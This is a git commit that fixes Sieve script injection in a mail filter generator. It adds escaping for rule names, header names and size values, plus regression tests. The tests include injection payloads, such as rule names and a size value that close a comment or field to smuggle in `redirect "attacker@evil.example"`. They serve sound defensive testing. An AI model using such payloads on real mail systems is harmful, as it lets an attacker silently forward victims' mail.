fix: stop filter rule data from breaking out into the Sieve script

The generator wrote several rule fields into the script unescaped. A
`*/` in a rule name ended the `@metadata` comment, a line break ended
the `# Rule:` comment, a custom header name could close its string, and
a size value was written as-is, so each could add live commands such as
`redirect "attacker@..."` to the active script. Rules reach the
generator from plugins holding `filters:write` and from imported filter
sets, not only from the editor.

The metadata JSON now escapes `*/` (JSON reads `\/` back as `/`), the
rule-name comment is kept on one line, header names are escaped like
other strings, and a size that is not a number becomes 0.
This commit is contained in:
Linus Rath
2026-09-26 14:56:01 +02:00
parent 6e94b1a330
commit e0bfdfa437
2 changed files with 80 additions and 6 deletions
@@ -0,0 +1,67 @@
import { describe, it, expect } from 'vitest';
import { generateScript } from '../generator';
import { parseScript } from '../parser';
import type { FilterRule } from '@/lib/jmap/sieve-types';
// Rule names and a few condition fields went into the script unescaped:
// a "*/" in a name closed the metadata comment, a line break left the
// "# Rule:" comment, and a header name or size value could close its
// string or number and add commands. Rules arrive from plugins with
// filters:write and from imported filter sets, not only from the editor.
function rule(overrides: Partial<FilterRule> = {}): FilterRule {
return {
id: 'r1',
name: 'Receipts',
enabled: true,
matchType: 'all',
conditions: [{ field: 'subject', comparator: 'contains', value: 'receipt' }],
actions: [{ type: 'mark_read' }],
stopProcessing: false,
...overrides,
};
}
/** The script with every comment removed: what Sieve actually executes. */
function commands(script: string): string {
return script.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*#.*$/gm, '');
}
describe('generateScript with hostile rule data', () => {
it('keeps a "*/" in a rule name inside the metadata comment', () => {
const name = 'Receipts */ redirect "attacker@evil.example"; /* x';
const script = generateScript([rule({ name })]);
expect(commands(script)).not.toContain('attacker@evil.example');
const parsed = parseScript(script);
expect(parsed.rules[0]?.name).toBe(name);
});
it('keeps a multi-line rule name on its comment line', () => {
const script = generateScript([rule({ name: 'Receipts\nredirect "attacker@evil.example";' })]);
expect(commands(script)).not.toContain('attacker@evil.example');
expect(script).toContain('# Rule: Receipts redirect');
});
it('escapes a custom header name', () => {
const script = generateScript([rule({
conditions: [{ field: 'header', headerName: 'X-A" "b', comparator: 'contains', value: 'z' }],
})]);
expect(script).toContain('header :contains "X-A\\" \\"b" "z"');
});
it('refuses a size that is not a number', () => {
const script = generateScript([rule({
conditions: [{ field: 'size', comparator: 'greater_than', value: '1 { redirect "attacker@evil.example"; } if true' }],
})]);
expect(commands(script)).not.toContain('attacker@evil.example');
expect(script).toContain('size :over 0');
});
it('keeps a size with a quantifier', () => {
const script = generateScript([rule({
conditions: [{ field: 'size', comparator: 'greater_than', value: '10M' }],
})]);
expect(script).toContain('size :over 10M');
});
});
+13 -6
View File
@@ -34,8 +34,11 @@ function generateCondition(condition: FilterCondition): string {
const { field, comparator, value } = condition;
if (field === 'size') {
// Size is numeric, single value only.
const sizeValue = Array.isArray(value) ? value[0] : value;
// Size is numeric, single value only. It is written unquoted, so
// anything but a number (with an optional K/M/G quantifier) would be
// Sieve source; fall back to 0.
const raw = String((Array.isArray(value) ? value[0] : value) ?? '').trim();
const sizeValue = /^\d+[KMG]?$/i.test(raw) ? raw : '0';
const op = comparator === 'greater_than' ? ':over' : ':under';
return `size ${op} ${sizeValue}`;
}
@@ -67,9 +70,9 @@ function generateCondition(condition: FilterCondition): string {
return `header :mime :anychild :matches ["Content-Disposition", "Content-Type"] ${formatStringArg(normalised, (ext) => `*.${ext}*`)}`;
}
const headerName = field === 'header'
const headerName = escapeString(field === 'header'
? (condition.headerName || 'X-Unknown')
: HEADER_MAP[field];
: HEADER_MAP[field]);
switch (comparator) {
case 'contains':
@@ -272,7 +275,10 @@ export function generateScript(
if (options.includeVacation) {
metadata.includeVacation = true;
}
const metadataJson = JSON.stringify(metadata);
// The JSON sits inside a /* ... */ comment: a "*/" in any string (a rule
// name, a condition value) would end the comment and turn the rest into
// live Sieve. JSON reads "\/" back as "/", so the metadata is unchanged.
const metadataJson = JSON.stringify(metadata).replace(/\*\//g, '*\\/');
const lines: string[] = [];
lines.push('/* @metadata:begin');
@@ -318,7 +324,8 @@ export function generateScript(
}
lines.push('');
lines.push(`# Rule: ${rule.name}`);
// A line break in the name would end the comment and start a command.
lines.push(`# Rule: ${rule.name.replace(/\s+/g, ' ')}`);
const conditions = rule.conditions.map(generateCondition);
let conditionStr: string;